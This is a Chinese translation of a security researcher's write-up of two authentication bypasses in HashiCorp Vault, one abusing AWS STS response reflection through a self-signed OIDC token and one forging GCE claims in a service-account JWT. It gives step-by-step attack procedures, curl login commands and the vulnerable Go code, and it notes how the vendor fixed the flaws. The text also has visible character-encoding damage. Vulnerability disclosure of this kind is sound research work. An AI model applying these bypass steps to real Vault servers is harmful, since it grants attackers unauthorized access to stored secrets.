深入剖析HashiCorp Vault中的身份驗證漏洞(下篇)
在上一篇文章中,我們?yōu)樽x者介紹了Vault的身份驗證架構(gòu),以及冒用調(diào)用方身份的方法,在本文中,我們將繼續(xù)為讀者介紹冒用調(diào)用方身份以及利用Vault-on-GCP的漏洞的過程。
STS(調(diào)用方)身份盜用 (接上文)
這使我們向盜用任意調(diào)用方身份的目標更靠近了一步:我們只需要找到一個STS操作來反映攻擊者控制的文本,并將它作為其API響應(yīng)的一部分。然后,對它的請求進行序列化,同時包含一個Accept: application/json標頭,并將一個任意的GetCallerIdentityResponse XML blob放入反射型payload中。
找到一個不受字母數(shù)字字符限制的反射型參數(shù)是一件非常棘手的事情。經(jīng)過反復(fù)嘗試后,我決定以AssumeRoleWithWebIdentity操作和它的SubjectFromWebIdentityToken響應(yīng)元素作為目標。其中,AssumeRoleWithWebIdentity用于將OpenID Connect(OIDC)供應(yīng)商簽名的JSON Web Tokens(JWT)轉(zhuǎn)換成AWS IAM身份。
使用有效簽名的JWT向該操作發(fā)送請求,將返回SubjectFromWebIdentityToken字段中的令牌的sub字段。
當然,一個正常的OIDC供應(yīng)商是不會在主題字段中給帶有XML有效載荷的JWT進行簽名的。不過,攻擊者只要直接創(chuàng)建自己的OIDC身份供應(yīng)商(IdP),并將其注冊到自己的AWS賬戶上,然后就可以用自己的密鑰對任意的令牌進行簽名了。
讓我們把這一切放在一起,就可以搞定整個攻擊過程:
創(chuàng)建一個OIDC IdP。實際上,就是生成一個RSA密鑰對,創(chuàng)建一個OIDC discovery.json和key.json文檔,并將json文件托管在Web服務(wù)器上(參見這里,這是使用S3的設(shè)置示例)。
使用自己的AWS賬戶注冊一個OID IdP -> AWS IAM角色映射。需要注意的是,這里的AWS賬戶不需要與我們的目標有任何關(guān)系。
現(xiàn)在,就可以使用我們的OIDP給一個JWT進行簽名了,其中可以放入任意的GetCallerIdentityResponse,只要將其作為主題聲明的一部分即可。解碼后的示例令牌可能是這樣的:iss、azp和aud與步驟2中指定的細節(jié)是完全匹配的。其中,sub中包含我們的偽造的響應(yīng),從而將我們識別為AWS IAM賬戶arn:aws:iam::superprivileged-aws-account。
- {'iss': 'https://oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/',
- 'azp': 'abcdef', 'aud': 'abcdef',
- 'sub': '',
- 'exp': 1595120834, 'iat': 1594207895}
我們可以使用步驟3中的(已經(jīng)簽名的)令牌和步驟2中使用的RoleArn直接向STS AssumeRoleWithWebIdentity操作發(fā)送請求,以測試所有設(shè)置是否正確:
- curl -H "Accept: application/json"
- 'https://sts.amazonaws.com/?DurationSeconds=900&Action=AssumeRoleWithWebIdentity&Version=2011-06-15&RoleSessionName=web-identity-federation&RoleArn=arn:aws:iam::XZY::YOUR-OIDC-ROLE&WebIdentityToken=YOURTOKEN'
如果一切按計劃進行,STS將把令牌主題反映為其JSON編碼響應(yīng)的一部分。如上所述,Go XML解碼器將跳過GetCallerIdentityResponse對象前后的所有內(nèi)容,從而使Vault認為這是一個有效的STS CallerIdentity響應(yīng)。
- {"AssumeRoleWithWebIdentityResponse":{"AssumeRoleWithWebIdentityResult":
- {"AssumedRoleUser":{"Arn":"arn:aws:iam::XZY::YOUR-OIDC-ROLE/web-identity-federation","AssumedRoleId":"AROATQ4R7PP5JJNLOF5P6:web-identity-federation"},
- "Audience":"abcdef","Credentials":{...},"PackedPolicySize":null,"Provider":"arn:aws:iam::242434931706:oidc-provider/oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/",
- "SubjectFromWebIdentityToken":""},
- "ResponseMetadata":....}
最后一步是將該請求轉(zhuǎn)換為Vault所期望的形式(例如使用base64編碼所有所需的標頭、url和一個空的post正文),并將其作為/v1/auth/aws/login上的登錄請求發(fā)送給目標Vault服務(wù)器。此后,Vault將反序列化該請求,將其發(fā)送到STS,并錯誤地解釋該響應(yīng)。如果我們偽造的GetCallerIdentityResponse中的AWS ARN/UserID在Vault服務(wù)器上具有特權(quán),我們就會得到一個有效的會話令牌,這樣,我們就可以用它來與Vault服務(wù)器交互,從而進一步獲取更多機密信息了。
- curl -X POST "https://vault-server/v1/auth/aws/login" -d '{"role":"dev-role-iam",
- "iam_http_request_method": "POST", "iam_request_body": "encoded-body", , "iam_request_headers" :
- "encoded-headers", "iam_request_url" : "encoded-url"}'
- {"request_id":"59b09a0b-f5d5-f4c4-8ed0-af86a2c1f5d4","lease_id":"","renewable":false,"lease_duration":0,"data":null,"wrap_info":null,"warnings":["TTL
- of \"768h\" exceeded the effective max_ttl of \"500h\"; TTL value is capped
- accordingly"],"auth":{"client_token":"s.Kx3bUNw6wEc5bbkrKBiGW6WL","accessor":"TBRh0hvfd4FkYEAyFrUE3i2P","policies":["default","dev","prod"],"token_policies":["default","dev","prod"],
- "metadata":{"account_id":"242434931706","auth_type":"iam","role_id":"47faaf36-c8ab-c589-396c-2643c26e7b30"},
- "lease_duration":1800000,"renewable":true,"entity_id":"447e1efe-0fd4-aa10-3a54-52405c0c69ab","token_type":"service","orphan":true}}
我已經(jīng)編寫了一個概念驗證exploit,用于負責(zé)JWT的創(chuàng)建和序列化等的大部分工作。雖然OIDC供應(yīng)商的設(shè)置增加了一些復(fù)雜性,但我們?nèi)钥梢岳@過所有啟用AWS的角色的身份驗證。這里唯一的要求是,攻擊者需要知道目標Vault服務(wù)器中的特權(quán)AWS角色的名稱。
那么問題出自哪里呢?從攻擊者的角度來看,整個認證機制看起來很機智,但容易出錯。將HTTP請求轉(zhuǎn)發(fā)放入安全產(chǎn)品未經(jīng)身份驗證的外部攻擊表面需要對實現(xiàn)和底層HTTP庫具有極強的信心。由于安全性取決于安全令牌服務(wù)的實現(xiàn)細節(jié),而安全令牌服務(wù)可能隨時發(fā)生變化,這會讓事情變得更加困難。例如,AWS可能會決定將STS放在負載均衡前端的后面,使用Host標頭進行路由決策。出現(xiàn)這種情況后,如果不對Vault代碼庫進行相應(yīng)的修改,可能會嚴重降低這種認證機制的安全性。
當然,身份驗證之所以這樣工作也是有原因的:AWS IAM沒有向其他非AWS服務(wù)證明該服務(wù)身份的直接方法。第三方服務(wù)無法輕松驗證預(yù)簽名請求,并且AWS IAM沒有提供可用于實現(xiàn)基于證書的身份驗證或JWT的標準簽名原語。
最后,Hashicorp通過強制執(zhí)行HTTP標頭文件的允許列表、限制請求使用GetCallerIdentity操作以及加強對STS響應(yīng)的驗證來修復(fù)了該漏洞,以期可以防止STS實現(xiàn)的意外變化或STS與Golang之間的HTTP解析器的差別所帶來的影響。
在AWS身份驗證模塊中發(fā)現(xiàn)這個問題后,我決定審查其GCP的等價物。下一節(jié)將介紹Vault的GCP認證是如何實現(xiàn)的,以及在許多配置中,一個簡單的邏輯缺陷是如何導(dǎo)致認證繞過的。
利用Vault-on-GCP的漏洞
Vault支持在谷歌云上部署的gcp認證方法。與AWS的同類產(chǎn)品類似,該認證方法支持兩種不同的認證機制:iam和gce機制。其中,iam機制能夠支持任意服務(wù)賬戶,并且可以在App Engine或Cloud Functions等服務(wù)中使用,而gce只能用于對運行在Google Compute Engine上的虛擬機進行身份驗證。不過,它還是具有一些優(yōu)勢的:gce不僅可以根據(jù)服務(wù)帳戶身份做出身份驗證決策,還可以根據(jù)多個VM屬性授予訪問權(quán)限。例如,一個配置可以只允許特定區(qū)域(europe-west-6)的虛擬機訪問某些機密信息,允許xyz-prod GCP項目中的所有虛擬機所有訪問權(quán)限,或者使用instance-groups對訪問權(quán)限做進一步的限制。
實際上,iam和gce認證機制都是建立在JWT之上的。一個vault客戶端如果想要進行身份驗證,則需要創(chuàng)建一個簽名令牌來證明自己的身份,并將其發(fā)送到vault服務(wù)器來獲取會話令牌。對于iam機制來說,客戶端可以直接使用其控制的服務(wù)賬戶私鑰或使用projects.serviceAccounts.signJwt IAM API方法給令牌簽名。
對于gce來說,客戶端需要在授權(quán)的GCE虛擬機上運行。它通過向GCP元數(shù)據(jù)服務(wù)器的實例身份端點發(fā)送請求來獲取簽名令牌。與服務(wù)賬戶令牌相比,這個令牌是由谷歌官方證書進行簽名的。除了正常的JWT聲明(sub、aud、iat、exp)外,從元數(shù)據(jù)服務(wù)器返回的令牌還包含一個特殊的compute_engine聲明,它列出了關(guān)于該實例的相關(guān)細節(jié),這些細節(jié)將作為認證過程的一部分進行處理。
- "google":{"compute_engine":{"instance_creation_timestamp":1594641932,"instance_id":"671398237781058X
- XXX","instance_name":"vault","project_id":"fwilhelm-testing-XXXX","project_number":950612XXXX,"zone":"europe-west3-c"}}
JWT在設(shè)計上有很多選擇的余地,這使得它的實現(xiàn)非常容易出現(xiàn)問題(參見securitum的這篇博文,以了解典型問題的相關(guān)概述),所以,我決定花一天時間來回顧Vault的令牌處理機制。
實際上,函數(shù)parseAndValidateJwt是專門負責(zé)處理gce和iam令牌的。
該函數(shù)首先在不驗證簽名的情況下解析令牌,并將解碼后的令牌傳入getSigningKey helper方法:
- // Process JWT string.
- signedJwt, ok := data.GetOk("jwt")
- if !ok {
- return nil, errors.New("jwt argument is required")
- }
- // Parse 'kid' key id from headers.
- jwtVal, err := jwt.ParseSigned(signedJwt.(string))
- if err != nil {
- return nil, errwrap.Wrapf("unable to parse signed JWT: {{err}}", err)
- }
- key, err := b.getSigningKey(ctx, jwtVal, signedJwt.(string), loginInfo.Role, req.Storage)
- if err != nil {
- return nil, errwrap.Wrapf("unable to get public key for signed JWT: %v", err)
- }
其中,getSigningKey將從token標頭中提取密鑰id聲明(kid),并試圖找到一個具有相同標識符的google級別(google-wide)的oAuth密鑰。它雖然對GCE元數(shù)據(jù)令牌有效,但對服務(wù)賬戶簽名的令牌無效:
- func (b *GcpAuthBackend) getSigningKey(...) (interface{}, error) {
- b.Logger().Debug("Getting signing Key for JWT")
- if len(token.Headers) != 1 {
- return nil, errors.New("expected token to have exactly one header")
- }
- kid := token.Headers[0].KeyID
- b.Logger().Debug("kid found for JWT", "kid", kid)
- // Try getting Google-wide key
- k, gErr := gcputil.OAuth2RSAPublicKey(ctx, kid)
- if gErr == nil {
- b.Logger().Debug("Found Google OAuth2 provider key", "kid", kid)
- return k, nil
- }
如果這種方法失敗,Vault服務(wù)器會從提供的令牌中提取Subject(sub)聲明。對于有效的令牌,這個聲明將包含簽名服務(wù)賬戶的電子郵件地址。知道了令牌的密鑰id和主題后,Vault就能使用服務(wù)賬戶GCP API獲取用于簽名的公鑰:
- // If that failed, try to get account-specific key
- b.Logger().Debug("Unable to get Google-wide OAuth2 Key, trying service-account public key")
- saId, err := getJWTSubject(rawToken)
- if err != nil {
- return nil, err
- }
- k, saErr := gcputil.ServiceAccountPublicKey(saId, kid)
- if saErr != nil {
- return nil, errwrap.Wrapf(fmt.Sprintf("unable to get public key %q for JWT subject %q: {{err}}", kid, saId), saErr)
- }
- return k, nil
在這兩種情況下,Vault服務(wù)器現(xiàn)在都可以訪問驗證JWT簽名的公鑰了:
- // Parse claims and verify signature.
- baseClaims := &jwt.Claims{}
- customClaims := &gcputil.CustomJWTClaims{}
- if err = jwtVal.Claims(key, baseClaims, customClaims); err != nil {
- return nil, err
- }
- if err = validateBaseJWTClaims(baseClaims, loginInfo.RoleName); err != nil {
- return nil, err
- }
如果驗證成功,Vault將填寫loginInfo結(jié)構(gòu)體,該結(jié)構(gòu)體稍后用于授予或拒絕授予訪問權(quán)限。如果令牌包含compute_engine聲明,則將其復(fù)制到logininfo.gceMetada字段中:
- loginInfo.JWTClaims = baseClaims
- if len(baseClaims.Subject) == 0 {
- return nil, errors.New("expected JWT to have non-empty 'sub' claim")
- }
- loginInfo.EmailOrId = baseClaims.Subject
- if customClaims.Google != nil && customClaims.Google.Compute != nil && len(customClaims.Google.Compute.InstanceId) > 0 {
- loginInfo.GceMetadata = customClaims.Google.Compute
- }
- if loginInfo.Role.RoleType == gceRoleType && loginInfo.GceMetadata == nil {
- return nil, errors.New("expected JWT to have claims with GCE metadata")
- }
- return loginInfo, nil
如上所述,所有這些代碼都在iam和gce auth方法之間是通用的。這里的問題是,沒有強制要求該令牌是由不包含GCE compute_engine聲明的服務(wù)賬戶進行簽名的。雖然GCE元數(shù)據(jù)令牌中的內(nèi)容是可信的,并且是由Google控制的,但服務(wù)賬戶令牌則是完全由服務(wù)賬戶的所有者控制的,因此可能包含任意的聲明。
如果我們按照gce方法的控制流程走到最后,我們將會發(fā)現(xiàn),Vault會在pathGceLogin中將loginInfo.GceMetadata作為其認證決策的一部分,如果滿足下面兩個條件的話:
元數(shù)據(jù)部分中描述的VM需要存在。這是使用GCE API驗證的,并且需要攻擊者模擬處于運行狀態(tài)的VM。實際上,只有project_id、zone和instance_name需要驗證,并且需要設(shè)置為有效值。
JWT令牌的主題聲明中的服務(wù)帳戶必須是存在的。這是通過ServiceAccount GCP API進行驗證的,要求在托管服務(wù)帳戶的項目中擁有am.ServiceAccounts.Get權(quán)限。由于攻擊者可以在自己的項目中使用服務(wù)帳戶,所以只需將這個權(quán)限授予Vault GCP身份,甚至是allUsers即可。
最后,調(diào)用AuthorizeGCE來授予或拒絕訪問權(quán)限。如果攻擊者使用正確的屬性(項目、標簽、區(qū)域等)冒充的GCE實例一切正常,攻擊者將得到一個有效的會話令牌。唯一不能繞過的身份驗證限制,就是硬編碼的服務(wù)帳戶名,因為該值等于攻擊者帳戶,而不是預(yù)期的VM帳戶名。
針對易受攻擊配置的端到端攻擊過程如下所示:
1. 在你控制的GCP項目中創(chuàng)建一個服務(wù)賬戶,并使用gcloud生成一個私鑰:gcloud iam service-accounts keys create key.json --iam-account sa-name@project-id.iam.gserviceaccount.com。
2. 用一個偽造的compute_engine claim來給一個JWT簽名,以冒充一個現(xiàn)有的、有特權(quán)的虛擬機。請看這里的簡單的概念驗證腳本,其中已經(jīng)考慮到了大部分的細節(jié)。
3. 現(xiàn)在,只需使用令牌登錄Vault即可:curl --request POST --data '{"role": "my-gce-role", "jwt" : "...."}' http://vault:8200/v1/auth/gcp/login
這是一個非常有趣的漏洞,需要對GCP IAM有一定的了解才能發(fā)現(xiàn)它。該漏洞的根源,好像是因為在parseAndValidateJwt函數(shù)中,將兩個獨立的認證流合并到一個代碼路徑中,這使得在編寫或?qū)彶榇a時,很難弄清楚所有的安全要求。同時,由于GCP提供了兩種具有完全不同安全屬性的JWT令牌,使得自己很容易中槍。
小結(jié)
本文介紹了用于管理機密信息的“云原生”軟件HashiCorp Vault中被曝出的兩個認證漏洞。雖然Vault在開發(fā)時明顯考慮到了安全問題,并從其實現(xiàn)語言Go的內(nèi)存安全和高質(zhì)量標準庫中受益良多,但我仍然能夠在其無需認證的攻擊面中發(fā)現(xiàn)兩個關(guān)鍵漏洞。
根據(jù)我的經(jīng)驗,在開發(fā)人員必須與外部系統(tǒng)和服務(wù)交互的地方,經(jīng)常會存在類似這樣的棘手漏洞。一個強大的開發(fā)人員也許能夠推理出自己軟件的所有安全邊界、需求和陷阱,但一旦有復(fù)雜的外部服務(wù)出現(xiàn),確保軟件的安全性就變得非常困難。雖然現(xiàn)代云IAM解決方案功能強大,通常比同類內(nèi)部解決方案更安全,但也有自己的安全隱患和較高的實施復(fù)雜性。隨著越來越多的公司向大型云提供商遷移,熟悉這些技術(shù)棧將成為安全工程師和研究人員的關(guān)鍵技能,可以肯定的是,未來幾年肯定會曝出越來越多的同類問題。
最后,本文所討論的兩個漏洞都表明了編寫的安全軟件是多么的困難。即使使用內(nèi)存安全的語言、強大的密碼學(xué)原語、靜態(tài)分析和大型模糊基礎(chǔ)結(jié)構(gòu),某些問題也只能通過手動代碼審查和攻擊者的思維方式才能發(fā)現(xiàn)。
本文翻譯自:https://googleprojectzero.blogspot.com/2020/10/enter-the-vault-auth-issues-hashicorp-vault.html如若轉(zhuǎn)載,請注明原文地址。